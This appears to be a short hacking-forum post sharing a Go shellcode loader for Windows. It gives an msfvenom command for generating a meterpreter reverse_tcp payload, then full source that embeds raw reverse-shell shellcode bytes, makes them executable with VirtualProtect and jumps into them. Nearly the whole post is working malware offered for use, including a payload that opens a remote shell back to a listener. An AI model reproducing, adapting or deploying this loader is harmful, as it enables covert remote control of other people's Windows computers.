hello this is my basic shellcode loader writen in golang
for generate shellcode using msfvenom use this command --> msfvenom -p windows/meterpreter/reverse_tcp LHOST=LISTENER_IP LPORT=LISTENER_PORT -f go
for generate shellcode using msfvenom use this command --> msfvenom -p windows/meterpreter/reverse_tcp LHOST=LISTENER_IP LPORT=LISTENER_PORT -f go
Код:
package main
import (
"fmt"
"unsafe"
"syscall"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
)
func main() {
old := ""
shellcode := []byte{0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x31,0xd2,
0x89,0xe5,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,
0x31,0xff,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xc0,0xac,
0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,
0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x48,0x18,
0x8b,0x58,0x20,0x50,0x01,0xd3,0x85,0xc9,0x74,0x3c,0x49,0x8b,
0x34,0x8b,0x31,0xff,0x01,0xd6,0x31,0xc0,0xac,0xc1,0xcf,0x0d,
0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,
0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,
0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,
0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x33,0x32,
0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,
0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,
0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,
0x0a,0x00,0x02,0x02,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,
0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,
0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,
0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,
0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,
0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,
0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,
0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,
0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,
0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,0xff,0xff,0xe9,
0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,
0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5};
_,_,e := VirtualProtect.Call(uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), uintptr(0x40), uintptr(unsafe.Pointer(&old)))
fmt.Println(e)
syscall.Syscall(uintptr(unsafe.Pointer(&shellcode[0])), uintptr(0), uintptr(0), uintptr(0), uintptr(0))
}